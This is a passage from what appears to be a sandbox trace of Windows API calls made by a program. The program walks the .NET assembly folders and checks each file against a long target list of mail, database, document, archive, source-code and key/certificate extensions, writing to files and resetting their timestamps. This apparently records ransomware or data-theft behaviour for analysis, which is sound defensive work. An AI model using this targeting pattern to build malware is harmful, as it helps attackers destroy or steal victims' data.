ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.439] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.439] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.439] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.446] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.446] CloseHandle (hObject=0x90) returned 1 [0098.447] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.447] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.447] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5863dfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5863dfb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0098.447] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.447] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dd7560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4dd7560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4dd7560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x642e302e, dwReserved1=0x6c6c, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0", cAlternateFileName="MI7C7A~1.0")) returned 1 [0098.447] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0") returned -1 [0098.447] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0") returned -1 [0098.448] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4dd7560, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf4dd7560, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4dd7560, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.448] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.448] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd31cb620, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd31cb620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd31cb620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 1 [0098.448] lstrcmpA (lpString1=".", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.448] lstrcmpA (lpString1="..", lpString2="10.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.448] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd31cb620, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd31cb620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd31cb620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.448] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.448] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31cb620, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd31cb620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd31cb620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f3c0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.567] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0098.575] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.576] CloseHandle (hObject=0x90) returned 1 [0098.576] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.ems") returned 0 [0098.577] lstrlenA (lpString="*.ems") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.db") returned 0 [0098.577] lstrlenA (lpString="*.db") returned 4 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.dbf") returned 0 [0098.577] lstrlenA (lpString="*.dbf") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.myox") returned 0 [0098.577] lstrlenA (lpString="*.myox") returned 6 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.myo") returned 0 [0098.577] lstrlenA (lpString="*.myo") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qbw") returned 0 [0098.577] lstrlenA (lpString="*.qbw") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qbb") returned 0 [0098.577] lstrlenA (lpString="*.qbb") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qbm") returned 0 [0098.577] lstrlenA (lpString="*.qbm") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qbo") returned 0 [0098.577] lstrlenA (lpString="*.qbo") returned 5 [0098.577] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qbx") returned 0 [0098.577] lstrlenA (lpString="*.qbx") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qba") returned 0 [0098.578] lstrlenA (lpString="*.qba") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qby") returned 0 [0098.578] lstrlenA (lpString="*.qby") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qbj") returned 0 [0098.578] lstrlenA (lpString="*.qbj") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.ofx") returned 0 [0098.578] lstrlenA (lpString="*.ofx") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.qif") returned 0 [0098.578] lstrlenA (lpString="*.qif") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mye") returned 0 [0098.578] lstrlenA (lpString="*.mye") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mbox") returned 0 [0098.578] lstrlenA (lpString="*.mbox") returned 6 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.eml") returned 0 [0098.578] lstrlenA (lpString="*.eml") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.pst") returned 0 [0098.578] lstrlenA (lpString="*.pst") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.ost") returned 0 [0098.578] lstrlenA (lpString="*.ost") returned 5 [0098.578] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.idx") returned 0 [0098.579] lstrlenA (lpString="*.idx") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.dbx") returned 0 [0098.579] lstrlenA (lpString="*.dbx") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.sql") returned 0 [0098.579] lstrlenA (lpString="*.sql") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mdb") returned 0 [0098.579] lstrlenA (lpString="*.mdb") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.fdb") returned 0 [0098.579] lstrlenA (lpString="*.fdb") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.wab") returned 0 [0098.579] lstrlenA (lpString="*.wab") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.dat") returned 0 [0098.579] lstrlenA (lpString="*.dat") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.txt") returned 0 [0098.579] lstrlenA (lpString="*.txt") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.jpeg") returned 0 [0098.579] lstrlenA (lpString="*.jpeg") returned 6 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.jpg") returned 0 [0098.579] lstrlenA (lpString="*.jpg") returned 5 [0098.579] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.png") returned 0 [0098.580] lstrlenA (lpString="*.png") returned 5 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.php") returned 0 [0098.580] lstrlenA (lpString="*.php") returned 5 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.cs") returned 0 [0098.580] lstrlenA (lpString="*.cs") returned 4 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.cpp") returned 0 [0098.580] lstrlenA (lpString="*.cpp") returned 5 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.rar") returned 0 [0098.580] lstrlenA (lpString="*.rar") returned 5 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.zip") returned 0 [0098.580] lstrlenA (lpString="*.zip") returned 5 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.html") returned 0 [0098.580] lstrlenA (lpString="*.html") returned 6 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.htm") returned 0 [0098.580] lstrlenA (lpString="*.htm") returned 5 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.xlsx") returned 0 [0098.580] lstrlenA (lpString="*.xlsx") returned 6 [0098.580] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.xls") returned 0 [0098.580] lstrlenA (lpString="*.xls") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mp4") returned 0 [0098.581] lstrlenA (lpString="*.mp4") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.ppt") returned 0 [0098.581] lstrlenA (lpString="*.ppt") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.pptx") returned 0 [0098.581] lstrlenA (lpString="*.pptx") returned 6 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.doc") returned 0 [0098.581] lstrlenA (lpString="*.doc") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.dot") returned 0 [0098.581] lstrlenA (lpString="*.dot") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.docx") returned 0 [0098.581] lstrlenA (lpString="*.docx") returned 6 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.7z") returned 0 [0098.581] lstrlenA (lpString="*.7z") returned 4 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.tar") returned 0 [0098.581] lstrlenA (lpString="*.tar") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.bz2") returned 0 [0098.581] lstrlenA (lpString="*.bz2") returned 5 [0098.581] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.gz") returned 0 [0098.581] lstrlenA (lpString="*.gz") returned 4 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.mkv") returned 0 [0098.582] lstrlenA (lpString="*.mkv") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.eml") returned 0 [0098.582] lstrlenA (lpString="*.eml") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.msg") returned 0 [0098.582] lstrlenA (lpString="*.msg") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.edb") returned 0 [0098.582] lstrlenA (lpString="*.edb") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.accdb") returned 0 [0098.582] lstrlenA (lpString="*.accdb") returned 7 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.odb") returned 0 [0098.582] lstrlenA (lpString="*.odb") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.java") returned 0 [0098.582] lstrlenA (lpString="*.java") returned 6 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.asm") returned 0 [0098.582] lstrlenA (lpString="*.asm") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.pfx") returned 0 [0098.582] lstrlenA (lpString="*.pfx") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.pem") returned 0 [0098.582] lstrlenA (lpString="*.pem") returned 5 [0098.582] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.dll", pszSpec="*.p12") returned 0 [0098.582] lstrlenA (lpString="*.p12") returned 5 [0098.583] PathMatchSpecA 